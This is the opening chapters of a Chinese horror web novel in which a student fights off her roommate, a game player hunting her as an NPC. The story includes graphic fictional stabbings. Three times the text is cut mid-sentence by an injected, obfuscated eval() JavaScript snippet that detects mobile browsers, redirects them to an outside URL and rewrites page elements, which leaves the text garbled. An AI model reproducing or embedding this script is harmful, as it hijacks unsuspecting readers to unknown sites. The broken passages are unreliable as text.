《小心!这个NPC会背刺》 1. 无限猎杀 第1章 全息投影定格在血色残阳画面,女孩睁大眼睛仰躺在地。 她四肢如残旧的布娃娃诡异扭曲着,头像是摔碎的西瓜,红白交织的血浆从乌黑散落发丝中喷溅而出。 浓郁血腥味仿佛透过影像渗出来。 画面猩红警告框不停弹动: 【警告:被NPC反杀3次后账号将永久剥夺Mboss权限,确认是否重置游戏】 很快,血腥画面彻底消失,屏幕出现黑底红字: Round2Start! * 暑假,大学校园里寥寥无人。林轲手中拎着晚饭炒河粉,沿着林荫路往寝室楼走,发丝还粘着打工快餐店后厨的油烟味。 她从牛仔裤兜里掏出手机看下时间,下午六点零两分。 这个时间室友秦若离应该已经动身赶往火车站,去坐晚上八点的火车回家。 一想到秦若离走后,寝室只剩下自己,林轲心情愉悦,脚步都轻快几分。 从大一到大二,每个寒暑假秦若离都会和她一样申请留校。林轲嘴上不说,心里挺烦的。 现在,她终于走了! 寝室终于只有自己了! 不过当林轲推开寝室门后,却愣住了—— 秦若离书桌旁的28寸红色皮箱原封不动地放在那里。铝合金拉杆被夕阳拉长影子,投在林轲脚边。 奇怪,她回家怎么没有拿皮箱,林轲心里嘀咕着往里走。 “你回来了。”秦若离床帘后探出脑袋说。 是秦若离——她居然没有走! 林轲强忍失落,扫了她一眼,和平日一样冷淡“嗯”了一声,拎着炒河粉走到自己书桌。 在路过皮箱时,她用腿轻轻碰了下皮箱,感知它的重量。皮箱纹丝未动,显然里面装了不少东西。 林轲更加困惑,既然秦若离已经收拾好了行李,为什么又突然不走了?她不是要回家参加哥哥的婚礼吗?而且正值暑假旅游旺季,她的硬卧车票好不容易才抢到,改签也不一定有合适的座位,说不走就不走了? 林轲虽然心里疑惑,但并未直接问。她平时话特别少,在寝室几乎是透明的存在,这种事情她绝不会主动开口问。 她拉开自己桌前的椅子坐下,打开炒河粉廉价塑料盖,准备吃完去洗衣服。 不知道为什么,她总感觉后脖颈隐隐发凉,仿佛有一双眼睛在死死地盯着她。这种被锁定的压迫感,像一条冰冷的藤蔓,从脚底蔓延,逐渐扩散到四肢百骸。 尽管正值炎热的夏季,寝室的西向窗户让火辣的阳光肆无忌惮地照射进来,温度已经逼近40℃,又闷又烤又热,但林轲被这寒意刺激得浑身的毛孔都竖起来了。 她忍不住回头扫了一眼,只见到秦若离粉色的床帘纹丝未动。 或许是她多疑了,在快餐店忙了一天让她出现了错觉。 吃到一半时,林轲有些口渴。她拿起桌子上通体墨绿色瓷杯,还没等把瓷杯送到唇边,目光落在杯子附近白色木纹桌子上。 那里散落着一些细小的白色粉末,在阳光照射下随着林轲呼吸微微颤动。 若是平时,她以站着的姿势拿起水杯,是绝对看不到这细小粉末。 她肯定这些粉末不是自己撒的,既然不是自己撒的,怎么会出现在自己水杯边? 犹豫片刻,林轲小心翼翼地将水杯放回桌上,寒意更甚。 她扫了眼身旁的红色皮箱,又看看桌子上细微到几乎无法察觉的粉末,依旧不动声色地吃完整盒河粉。 毕竟河粉花钱买的,不能浪费钱。 吃完一整盒河粉,林轲更是感觉口干舌燥。她拎着河粉空盒站起来,往门口走。 “你去哪儿?”秦若离从床帘缝隙里冒出头。 林轲破天荒热心说,“去扔垃圾,顺便去趟楼下小超市,你有什么要买的吗?我帮你带上来。” “不用了,谢谢。”秦若离露出笑容,“天这么热,你吃完东西不喝点水再走吗?” 果然白色粉末有问题! 林轲手搭在门锁上,漫不经心说,“还不渴。给你带点泡椒凤爪吗?那可是你最爱吃的。” 秦若离略略顿下,“那行,你帮我带一袋吧。” “好。”林轲回头微笑看向她,走出寝室关上门后,脸上浮起笑意荡然无存。 她站在昏暗尚未开灯的走廊里,凝视寝室惨白的门,眉头微微蹙起。 现在已经能确定,在505寝室里的人不是她的室友。 她们有相同的容貌,相同的声音,但她们不是同一个人,因为秦若离从来不吃泡椒凤爪。 林轲不清楚为什么她的室友会被换芯,难道是被穿越了?这么离奇?这么不科学? 她一边默念着社会主义核心价值观,一边想水杯旁的粉末到底是什么成份?假秦若离要对自己做什么? 她焦躁不安快步下楼,走向寝室楼下不远处的小超市。 暑假人少,超市老板坐在门口收费处,沉浸在对面电脑播放综艺节目里,林轲进入的时候,连眼皮都没有抬一下。 林轲走到摆放矿泉水区域,拿起一瓶水,拧开后咕咚咕咚喝起来。 她实在太渴了。天这么热,再加上吃的河粉特别咸,刚才紧张而虚出的汗水,更是让她的嗓子如同被烟熏过一般,干渴难耐,仿佛随时都能冒出火星。 清凉的矿泉水顺着喉咙缓缓流下,缓解林轲的不安。 林轲手里紧紧捏着矿泉水瓶,思考接下来要怎么做。她现在已经确定,秦若离是假的,但不确定是否真有恶意。最稳妥的办法是今晚不回寝室,远离她,但这就意味着,她要花至少一百以上去找旅店住。 林轲是在孤儿院长大的,十三岁的时候虽然被一对夫妻领养,但上大学的钱,都是她自己筹的。她不仅申请了助学贷款和助学金,还利用课余时间打工挣钱,一分钱恨不得掰成两半花。 让林轲去花一百多找个旅店住,那是绝对不可能。而且,谁知道这个假秦若离要在这里住多久,她要是一直住在这里,难道林轲还要一直去住旅店? 林轲决定找个趁手的武器防身,如果秦若离真的有恶意,那么她在自保后,就有证据报警,让警察把她带走,顺便把那些粉末带回去化验。这样才能彻底的,不花一分钱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17343075|199453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 解决这个危机。 林轲手指夹着喝一半的水瓶,在超市绕圈,寻找防身武器。 超市里只有削铅笔的小刀,刀片又软又小,没法作为武器。 林轲目光落在门口案板切青菜的刀上。这把刀线条流畅似匕首,看起来硬度也够。 “姐,”林轲指着案板上的菜刀说,“那把刀能借我用用吗?” 老板盯着电脑屏幕,不走心问,“你干什么用?” “切西瓜。”林轲早就想好借口。 老板头都没抬,“行,拿走吧,切完给我拿回来。” “谢谢姐。”林轲把半瓶水和一袋泡椒凤爪放在桌子上,转身去拿案板上的刀。 现在已经是晚上七点多,夜色如墨,将整个寝室楼笼罩在一片黑暗之中。这座庞大的建筑物仿佛寂静的鬼楼,无数的窗户像黑漆漆空洞,只有两三间寝室的灯光苍白而凄凉地亮着。 林轲站在楼外,抬头望着这座她平日里熟悉的楼房,此刻,它仿佛变成了一个陌生而诡异的地方,让她感到不寒而栗。但除了这里,她无处可去,只能硬着头皮往里走。 林轲怕假秦若离发现自己因看到粉末而不肯喝水,迅速喝光剩下的水,扔掉空水瓶后才走进楼内。 脚步声在死寂的楼梯间回荡,像是一首亡灵序曲。 走廊没有开灯,一片昏暗。 林轲屏着气,尽量减轻自己的脚步声。 她掏出那把刀,别在后腰牛仔裤缝隙里,用长长的衬衫盖好。她站在寝室门口,刚想插钥匙,动作突然凝滞。 ——门缝里没有一丝光透出来。 这就说明,里面没有开灯。 天已经彻底暗下来,为什么秦若离不开灯? 她在黑暗中要做什么?偷袭吗?想到这里,林轲插钥匙的手缓缓收回。 自幼在阴影笼罩环境中长大的林轲,对身边一切都保持着戒心,尤其在察觉到对方可能有恶意后,她更是如履薄冰,小心谨慎。 她想若自己贸然进去,这个时候被偷袭,根本没有还手余地。 不能冒这个险,不能主动开门。 林轲深吸一口气,抬手轻轻敲了敲门。 “秦若离,秦若离,你在吧,帮我开下门,我忘记带钥匙了。” 她说完,全神贯注地听着门内每一个细微的动静。 她们寝室的铁床,老旧生锈,每次从上铺下来,即使再小心翼翼,也会伴随着那令人烦躁的“吱嘎吱嘎”的金属摩擦声。但此刻,这熟悉的声音却没响起。 这就说明,秦若离不在床上。如果她一直在床上睡觉,或者玩手机,不开灯也合理。但是她已经在地上,为什么不开灯? 林轲屏息凝神,耳朵紧贴门扉,随之传来秦若离清晰的声音,“来了,等一下。” 声音只隔了一道门,近在咫尺。 林轲的眼眸中闪过一丝难以言喻的震惊,她猜对了? 也许在黑暗中,秦若离悄然无声地站在寝室内,躲在门后,静静地等待着自己的开门,准备袭击她? 正当林轲脑海中闪过这个念头时。 门开了。 2. 无限猎杀 第2章 一道黑影出现在黑漆漆的门内世界。 林轲放在身后的手紧紧握住刀把,虽然手控制不住地颤抖,但还是很自然问了一句,“怎么不开灯?” “刚才看电视,没想开灯。”秦若离说话时,抬手拍开门口的灯。 黑暗的寝室被瞬间照亮,林轲看清秦若离苍白到近乎透明的脸庞,唇却红得妖冶,如深夜中的一抹血痕。 她右手摁在后腰的匕首,嘴角含笑,抬起左手的袋子,“给你带的泡椒凤爪。” “谢谢。”秦若离接过凤爪放在离自己最近的桌子上。 这个假货这么没有礼貌吗?别人给你带东西,怎么不主动给钱?非得等着去要吗!早知道不真给你买好了~ 林轲心里吐槽,但没有直接要钱,右手依旧握着刀,看着假秦若离爬上床才松了口气。 林轲在自己床上坐了一会儿,才想起来床下还有一盆脏衣服要洗,但现在她不打算洗了。虽然没有和这个假货实质性对决,但是也是一惊一跳吓得够呛,没有力气再去手搓油渍斑斑的工作服了。 她钻进床上,放下床帘。钻进床帘那一刻,林轲感到一丝安全感,但不多。 林轲扫了眼自己单薄的天蓝色床帘,开始胡思乱想。 如果秦若离真的攻击自己,要怎么做才能最大程度自保?单人床的空间就这么大,到时候难以躲藏。 她们寝室布局是两个相邻的上下铺床靠着一侧墙壁,另一面墙是四个书桌和柜子。四张床上都挂着她们自己定制的床帘,从外面看,每个床都是密封状态。 林轲扫了眼自己床和隔壁床的位置,心生一计。 她掏出兜里的手机,点开音乐APP后,从床上下来,走到冷凝桌子前,拿起她留在学校的绿色青蛙模样的蓝牙音箱。 “秦若离,我听到一首很好听的歌,想用冷凝的音响听下,不会影响到你吧。”林轲态度从未有过的谦恭,也像是换芯一样。 “不影响。”秦若离隔着床帘淡淡回应。 林轲连蓝牙音箱时,眸色冰冷淡然。她想这个假货,根本没有秦若离一点记忆,她只是占了她的空壳而已。若是真的秦若离,会说“阿凝的东西你也敢动,她回来肯定要炸毛”。 林轲把音量调到最大,别说她们寝室,整个五楼都在电子音的震颤中。 林轲钻回床帘,装得兴奋,“放暑假就是好,声音大也没有别的寝室来找。” 她说这话时,跪在两个床相邻的床帘旁,摸出后腰的刀。 她要把自己床和隔壁床的打通,如果秦若离从她床铺爬下来,自己可以不动声色爬到隔壁床上。 她借来这把刀虽说不是特别锋利,但是割开布帘没问题。她支楞着耳朵,留意斜上方床上的动静,在每次音乐高潮中去割床帘,电子音浪恰到好处地吞没了布料割裂的声音。 终于两首歌后,她割开自己床帘和隔壁的床帘,把两个床打通了。 这些做完,她后背湿透,脸像是水洗般,汗津津的。她坐在床里,又听一首歌,才撩开床帘出去,“我感觉有点吵,怕别的同学来找我们,我还是关了吧。” “都可以,我无所谓。对了,你不去洗衣服吗?”秦若离拉开床帘,探头看向下问,露出意味深长笑容。 若是没有这个插曲,林轲的确计划洗衣服,可是秦若离怎么会知道? 无边的恐惧如尖锐的触角,从林轲的脚踝蠕动向上。 她脑海中突然闪现一个惊悚的想法,这个假货携带的记忆并非秦若离的,而是与自己的未来相关。 或许,眼前所发生的一切,对她而言早已是重演的剧情,而自己的脑海中却空空如也,没有任何记忆碎片。 若是如此,那她岂不是像旁观者一样,冷眼看着自己的每一个举动?自己那些试图隐藏的行为,在她看来只是一场滑稽的挣扎? 林轲紧紧握住颤抖的双手,强迫自己恢复平静。她缓缓蹲下,从床底抽出那盆脏衣服,语气平稳,“是啊,时候还早,我先把衣服洗了。” 寝室没有独立卫生间,洗衣服必须去水房。她抱着那盆脏衣服,快步走向水房,心中只有一个念头——跑。 她走到水房,将盆放在长长的水池中。镜子里映出她苍白的脸庞,额头渗出的细微汗水。 如果秦若离真的拥有未来的记忆,那么林轲在她面前就如同一张透明的纸,所有的挣扎和算计都早已被她看穿。 林轲打开水龙头,水流哗哗作响。她迅速从侧面的楼梯下楼,尽管双腿发软,颤抖不已,但她的脚步却没有减慢。她必须尽快离开,远离这个假货,这个让她感到无比恐惧的存在。 林轲冲到一楼大厅,门外的世界已经彻底暗下来,路灯却迟迟未亮。 黑夜带来吞噬一切的恐怖力量,她不想融入这无尽的黑暗中,但身后有一个比黑夜更加恐怖、更加具象化的存在追赶着她。 林轲别无选择,只能继续前行。 当她快跑到门口时,眼前的夜色突然扭曲一下,仿佛烈日下的热浪扭曲了空气。她立刻停下脚步,没有贸然冲出去,而是拿起旁边的拖布,举起试探。 拖布头撞上了一道无形的坚硬屏障,被挡回来。 这是什么,结界吗? 林轲来不及多想,直接打开旁边的窗户,用拖布试探窗户,依然有无形的墙横亘在那里。她不信邪地试遍了楼下的所有窗户,但无形的墙始终存在,封锁了她逃生的道路。 意识到事态严重,她连忙拿出手机报警,但手机屏幕上的信号却显示一片空白—— 完全没有信号。 她被隔绝在这个空间里,就像陷入一个无法逃脱的泥沼。 又是这样,又是这样!这种孤立无援的感觉,让她不禁回想起在养父母家时的不安、恐惧和绝望。那种逃无可逃的束缚感再次笼罩了她,让她窒息。 逃无可逃,难道只能引颈受戮吗? 林轲紧紧握住手中的拖布,背靠在一楼大厅的墙壁上。她不由自主地想起养父那张充满贪婪和残忍的倒三角眼睛,仿佛在看着她,期待着她的无助和绝望。 而如今这双眼睛的主人,坟头的草不知道长了多少茬。 林轲眸光收拢,慌乱无措的眼神渐渐淡去,取而代之的是冷硬坚决神色。 没有人可以伤害我。 没有人可以! 既然逃无可逃,那就奋力一搏,大不了鱼死网破。 林轲扭头往五楼走,腿不再抖了。 她回到五楼的水房,关掉仍在哗哗流水的水龙头,将半盒洗衣粉倒进盆里,开始洗衣服。 林轲的脑海中只有一个念头——明天一定要穿着干净的工作服去上班。 林轲端着洗好的衣服,走向 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17343076|199453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 五楼天台晾衣区。 当她搭好最后一条工装裤,弯腰去捡地上的盆子时,眼睛的余光不经意间扫到了五楼唯一亮着灯的窗户。 秦若离额头紧贴着玻璃,双手则撑在脑袋两侧。她的两个鼻孔紧紧地贴在玻璃上,鼻尖在玻璃上压成惨白的肉饼。原本清秀的脸庞此刻看起来异常扭曲。 她咧开嘴笑了,像林轲在孤儿院和别人争抢扯坏的布偶。 她的每一个动作都充斥着惊悚与诡异,让人不禁感到毛骨悚然。 那一刹那,林轲的心跳猛地加速,抓着盆子的手控制不住颤抖起来。她的手紧握着盆子的边缘,深深地吸了几口气。 两个呼吸后,林轲抬头看向秦若离,冲她挥了挥手,试图以礼貌的方式打招呼。 林轲端着空盆回寝室,发现寝室门敞开着,漆黑的走廊里只有寝室的柔光,像是没有遮掩的陷阱,静待猎物的到来。 林轲走进寝室,秦若离站在窗户边,双臂交叉抱在胸前。她转过身看着林轲,露出意味深长的笑容,“你终于回来了,衣服洗了好久,我还以为你不会再回来。” 林轲轻轻地将空盆放在地上,一脚将盆踢进床底下,她扭头对上秦若离的目光,嘴角含着温柔的笑,“我不回来去哪里?” 她平日里都是冷冰冰一张脸,根本不会笑,只有她养父死的那天晚上,她才笑了一下,现在她又露出这种温柔的笑意。 秦若离打了个哈欠,“我有些困了,你洗完衣服,是不是可以关灯睡觉了。” “好。你先上床,我来关灯。”林轲走到门口,手放在开关处。 秦若离爬上床后,林轲随手关灯。 昔日的路灯光辉已消失无踪,世界仿佛陷入一个深不见底的黑洞。 林轲所处的世界与真实的外界已然隔绝。 在黑暗中,林轲摸索着回到自己的床上,轻轻放下床帘。她手中紧握着刀柄,跪坐在床上,全神贯注地倾听着斜上方床上传来的任何动静。她的神经紧绷,身体的每一块肌肉都如同弦上的箭,随时准备应对突发情况。 寝室里一片死寂,伸手不见五指,只有滴答作响的钟表声在空气中回荡。这种声音平日里她从未留意,但此刻却如同咒语般在她耳边萦绕。她不敢点亮手机屏幕查看时间,唯恐秦若离察觉到这微弱的光亮,进而发现她并未入睡。 寝室里的温度越来越低,好像被投掷到冰箱里。寒气浸透林轲每一寸肌肤,沿着她紧绷的神经蔓延。 林轲挺直后背端坐,冷汗顺着脊椎沟往下流。 不知过了多久,林轲双腿已经麻了,正当她想稍微动弹一下以缓解这种不适时,头顶突然传来低沉声:“林轲,你睡了吗?” 林轲心脏猛地一紧,她努力保持呼吸的均匀,假装自己已经陷入深度睡眠。接着,那声音又响起:“你睡了吗?没睡能帮我开下灯吗?我想去卫生间。” 林轲努力保持着均匀地呼吸,但全身血流急速,心脏在胸口乱撞。 “看来你是睡了。”秦若离听起来有些无奈,随之床轻微晃动一下。 秦若离行动了!尽管她放缓动作,小心翼翼地下床,然而床板依然不可避免地随着她的动作晃动,发出属于它独特的响声。 “吱嘎吱嘎”的金属磨损声,犹如死神在暗夜中缓缓磨砺沾满鲜血的镰刀,每一声都充满了冰冷与不祥。 3. 无限猎杀 第3章 林轲的心猛地提到了嗓子眼,激动的情绪像是点燃了全身的血液,每一次心跳都震得胸腔发疼。她大气都不敢出,在床的晃动声中悄然无声地爬向隔壁床铺。 她脑海中突然闪过一个可怕的念头,是不是曾经有过秦若离袭击自己床铺,而自己躲到旁边床铺的场景?如果秦若离有这个记忆,那她肯定不会傻乎乎地攻击无人的床铺,而是直接攻击她躲避的下铺。 这么想来,骑在两个床中间,是最机动灵活的位置,能让她快速做出反应。 此刻,秦若离正极度谨慎地缓缓下床,每一步都踏得极为小心,生怕发出半点声响。 林轲已经跨坐在两张床框上,寝室里漆黑一片,她的眼睛却瞪得极大,竖起耳朵,不放过任何一丝细微的动静。 当听到秦若离并未停留在她的下铺,而是渐渐接近自己床边时,她果断地挪入了隔壁床铺,动作迅速而又悄无声息。 她的感官高度集中,感知到自己原先的床帘正被小心翼翼地掀起,那细微的摩擦声在这死寂的夜里格外清晰。 就在床帘被逐渐挑起的时候,林轲已从隔壁床铺下来,像一道黑色的影子,悄无声息地站在了秦若离的身后,右手紧握着那把借来的刀,指节因为用力而泛白。 “噗——”刀尖刺入被褥,沉闷细小的声音在寂静的寝室里响起。 果然秦若离想杀她,她猜得一点没错。 林轲听到这声音,毫不犹豫地举起刀,朝着那黑影狠狠刺去。 "噗嗤——" 刀刺入血肉的声音要比刺入被褥时通透得多。 那一瞬间,林轲仿佛能感觉到刀刃切开肌肉、划开血管的触感。 秦若离的确有未来的记忆,但并不多,至少她不知道自己会从另一个床铺悄然钻出去。 当秦若离的身体因震惊而停顿时,林轲握紧刀柄,猛地把刺入血肉的刀拔出来,快速调整位置,毫不留情地再次刺去。 “噗嗤——” 又是一声血肉被刺穿的声音,浓郁的血腥味在寝室里迅速弥漫开来,仿佛一层厚重的雾气,让人作呕。 林轲刺入第二刀后,才感受到喷溅到脸上温热的血缓缓流下,温热的触感划过她瞪大的眼睛,顺着脸颊的弧度滴落,与地上的血迹融为一体。 她抽回刀连忙后退两步,敏捷地躲开再次喷溅出来的血。她身体贴着桌子边缘,像一只警惕的野兽,绕过这团黑影,稳步走向门口,“啪”地一声拍开墙上的灯。 灯光打开的那一刻,强烈的光线刺得林轲微微眯起眼睛,而眼前的景象更是让她瞳孔骤缩。她看到自己床下一大滩鲜红的血迹,那刺眼的红色仿佛要将她的视线灼伤。 秦若离的上半身趴在床上,床帘挡住了她的身体,林轲无法看清她的脸。她只看到原本蓝色的床单已被鲜血染成暗红色,血滴从床上滴落,溅落在浅白色的地砖上,形成了一幅触目惊心的画面。 尽管秦若离已经奄奄一息,毫无反抗之力,但床帘的遮挡让林轲无法确定她的真实状况。她保持着高度警惕,不敢有丝毫大意,手中的刀依旧紧紧握着,刀刃上还滴着血。 林轲举着刀靠近床铺,缓缓扯掉床帘,想确定秦若离是否真的死了。 林轲的手刚扯上床帘,趴在床上的秦若离猛然弹起,举刀刺向林轲。林轲连忙后退,向一旁闪躲。秦若离的刀刃擦着她的手臂而下,“噗”的一声,刀尖插入书桌的木质板子上,木屑飞溅。 秦若离抽刀的间隙,林轲忍着被划破的疼痛,右手握刀灵巧地在秦若离持刀的手腕割了一刀,手腕瞬间鲜血横流。秦若离吃痛,刚拔出来的刀“当”的一声掉落在地。 刀掉落地瞬间,林轲一脚将刀踢到床底,避免她再次拿到武器。 秦若离也不甘示弱,直接撞向林轲,正好撞在她的伤口。林轲吃痛,握刀的手控制不住松开。 刀脱落的瞬间,秦若离弯腰欲捡,指尖刚碰到刀刃就被林轲用医学书边缘狠狠砸中脑袋。 “邦邦邦——” 三击之后,秦若离满头是血,人已经处于晕眩状态。林轲一手抓着书桌的挡板借力,抬脚踹在秦若离的胸口。 秦若离被踹得踉跄后退两步,后背重重地撞到寝室白色铁门上。她瘫软靠着门缓缓滑下,白色铁门上留下鲜红的血缓缓下流。她粗重地喘着气,眼白部分充斥着血丝,恶狠狠地盯着林轲。 林轲站在寝室中间,依旧处于警戒状态,声音冰冷地问道:“你到底是谁?为什么要杀我?” 秦若离抹着嘴角的血迹,咬牙切齿地说:“你一个NPC也配问我问题!我下次一定能杀了你!” “什么意思?我是NPC?”林轲不解地问,“还有下一次?” “哈哈哈……”秦若离张开嘴笑的时候,白净的牙齿都被血染透,狰狞恐怖,“当然了!你的存在,本来就是供我猎杀的。我本来想给你下迷药,把你绑起来,一点点折磨你到死!没想到被你识破了。不过没关系,我下次会直接杀了你,不会再和你玩猫鼠游戏!” 林轲的眸子顿时暗下来。 她讨厌作为猎物,讨厌被人觊觎。 秦若离的话,让她想起了她的养父,她的养父就是这样,把她当成猎物,喜欢看她惶恐不知所措的挣扎,想要从身体和精神上折磨她。想到这里,林轲攥紧手中的刀,脚踩在地上的血滩,一步一步走向秦若离。 或许是她眼里阴郁的神色太过于恐怖,秦若离满是鲜血的身体用尽最后一丝力气,紧紧贴着寝室的门,想要逃离林轲的逼近。 她瘫在地上,声音带着惊慌:“你干什么!别过来!我的血条马上要空了,你不需要再杀我了!” 林轲捡起地上的刀,一把抓住秦若离的头发,迫使她抬头与自己对视。 她阴郁的眸子注视着秦若离惊恐又愤怒的眼睛,“你记住,我可以杀你一次,就可以杀你第二次。”她持刀的右手毫不犹豫地在秦若离柔软的脖颈上划过,温热的鲜血如注喷涌而出,溅得林轲满脸。 秦若离双手徒劳地捂着不断冒血的脖颈,口中血沫横飞。颈动脉被割破,血液迅速涌入她早已破损的肺腔,令她窒息。她的双眼紧紧盯着俯视着自己的林轲,最终在咽下最后一口气时,也没有闭上那双愤怒又恐惧的眼睛。 林轲用手抹了把脸上黏腻的血,有些嫌弃地撇了撇嘴。 就在她想去水房洗洗时,她的眼前浮起血色的光幕: 【你已杀死Mboss两次,Mboss玩家选择读档重来。 15秒后,游戏进度将会重置。 倒计时:15、14、13……】 林轲看着眼前浮现的光幕,有些惊讶,她没想到自己竟然杀死了秦若离两次。她完全不记得第一次是如何杀死秦若离,她的记忆被彻底清空重置了。 眼前倒计时数字不断跳动,林轲却前所未有的平静,她想自己既然能杀了她两次,肯定还有办法杀她第三次、第四次…… 在林轲看不到的全息游戏界面,出现这样的游戏提示: 【Round3start!】 林轲手中拎着炒河粉,步履沉重 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17343077|199453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地走向寝室。她感到一种难以描述的疲惫,仿佛身心都被一场无形的恶战掏空,每一步都像是踩在棉花上,绵软无力。她越是靠近寝室,这种疲惫感愈发强烈,像是有一双无形的手在拉着她。 林轲想估计是今天工作太累,秦若离今天就走了,寝室只剩她自己,可以好好休息一下。 她拖着沉重的双腿,沿着寝室楼中央的楼梯向上爬。她总觉得今天的楼梯比往常更加漫长,每一级台阶都像是一座难以逾越的高山,仿佛已经爬过无数次。对于寝室,她心里有莫名的抵触情绪,这种情绪让她不想回寝室,每靠近一步,心里的抗拒就多一分。 不回寝室去哪里?林轲的理智战胜情绪,依旧抬起沉重的腿上台阶。她歇了两次,才爬上五楼。她站在五楼中间的大厅,看向一点点昏暗下去的走廊,脚步凝固在原地。 感性的情绪越来越强烈。 不要回寝室! 不要回寝室。 今天这是怎么了?林轲收敛这种情绪,还是走向通往自己寝室的走廊。她越靠近寝室,心越是不安,这种感觉根本不受她控制,像是中了邪,心跳越来越快,手心也全是冷汗,明明今天天气预报说已经达到35度。 林轲走到寝室门前,从牛仔裤前兜里摸出钥匙,就在钥匙尖要插入锁孔时,她顿住了。 从小对恶意敏锐感知的她,隔着这道门,感受到里面涌出的强烈恶意。刚才的不安和抗拒,现在已经找到源头。 她轻轻放下手中的钥匙,不由自主地后退一步。 她脑海中瞬间闪过无数恐怖电影中的场景,歹徒潜伏在门后,等待着她的踏入,然后展开血腥的猎杀。想到这里,她后背激起一层细腻的冷汗,不知不觉又后退一步。 从小在福利院长大,有过被收养经历的林轲,十分相信自己的恶意感知。就是这份恶意感知,让她小心翼翼,避免被伤害活到20岁。 现在要怎么办? 她回想刚才经过楼下大厅时,没看到宿管老师。现在正值暑假,宿管老师往往只在晚上才返回锁门,即便她此刻匆忙下楼,也未必能与老师碰面。更何况,若真的遭遇持刀歹徒,单凭两人之力,也无法与之抗衡。 林轲紧握手机,目光紧紧盯着那扇白漆铁门,心中犹豫是否应该报警。但是报警的依据又是什么呢?难道要向警察描述这是一种莫名的恐惧感吗? 就在林轲犹豫之际,门锁发出一声清脆的“咔”响,门缓缓裂开一道缝隙。夕阳的余晖透过这道缝隙,投在逐渐昏暗的走廊上,形成了一道扇形的血色光斑。 林轲本能地向后退去。 “你怎么不进来?”秦若离的身影逆着光,站在门口。她的面容神色全部隐匿在逆光中,只剩下高挑的身影,那身影在昏暗的光线中显得格外诡异。 秦若离的出现让林轲十分意外,她的第一反应是:她怎么还没走?以秦若离稳重的性格,八点的火车,六点肯定会准时从学校出发前往火车站,现在至少已经六点十多分了。 秦若离站在门口,阴阳怪气地问:“是不是没带钥匙?” “我突然发现自己手机落在店里了,我去拿手机。”林轲说着,拎着河粉转身快步走向楼梯。 直觉告诉她,要离开,越快越好。 秦若离跟了上来,“天快黑了,你自己一个人回去不安全,我和你一起去。” 林轲通过敞开的水房门玻璃,看到身后的秦若离右手握着泛着寒光的匕首,正在快速逼近自己。 匕首的寒光在昏暗的光线中闪烁,犹如死神的镰刀。 4. 无限猎杀 林轲加快脚步冲向楼下。 “跑什么?你以为你真的跑得掉吗?”秦若离阴森的声音从身后传来。 林轲根本不管秦若离说什么,她疾步沿着楼梯向下冲刺,从五楼像风一样冲到一楼。 秦若离不紧不慢,有节奏地踏着台阶,从容不迫跟在后面,笃定林轲已然插翅难逃,这场追逐不过是她单方面的猎杀游戏。 林轲以最快的速度冲向敞开的大门。 透过敞开的大门,她在残血的夕阳中看到有几个同学从不远处的小路经过。 只要跑出去,只要跑出去身后的人就不会有机会伤害自己,林轲脑子里只有这一个念想。 “咣!” 一声沉闷巨响回荡在空旷的一楼大厅。 林轲的身体如同断了线的风筝,狠狠撞上一道无形却坚硬如铁的屏障。 在强大的惯性作用下,她的头、肩膀、膝盖毫无保留地砸向那道屏障。 “咔嚓”,骨头与硬物碰撞的脆响传来。 一瞬间,林轲痛得几乎无法呼吸,她觉得自己全身的骨头都被撞得粉碎。 尖锐的轰鸣在耳中疯狂回响,眼前的世界瞬间陷入一片黑暗中,无数金星在黑暗中炸开。 被弹飞的林轲摔在地上,双手死死抱住头,大口大口喘着粗气。 尽管理智告诉她不能停留,应尽快逃离,可身体的剧痛和大脑的晕眩耳鸣却如同一双无形的大手,将她牢牢钉在原地,动弹不得。 “哈哈哈……” “哈哈哈……” 秦若离得意张狂的笑声在空旷的大厅中回荡,钻进林轲依旧嗡鸣的耳中。 “我的标记已经生效,你是逃不出去的,哈哈哈……” 林轲强忍着全身的剧痛,艰难地抬起头,循声望去。 模模糊糊的视线中,她看到秦若离站在二楼大厅,双手随意地撑在栏杆上,身体微微前倾,居高临下地俯视着自己。 那张清冷的面庞露出阴鸷笑意,仿佛来自地狱的恶鬼,邪狞而张狂。她手中的匕首在黯淡的光线下泛着冷冷寒光,食指轻轻拨弄着刀刃,眼神中满是戏谑与期待,仿佛林轲已经是她砧板上的鱼肉,任她宰割。 “跑啊……你这样趴在那里,一动不动,我很难办的。我更喜欢你反抗的样子,这样杀起来才过瘾。”秦若离声线原本轻柔,稳重,而现在却有几分病态的疯狂。 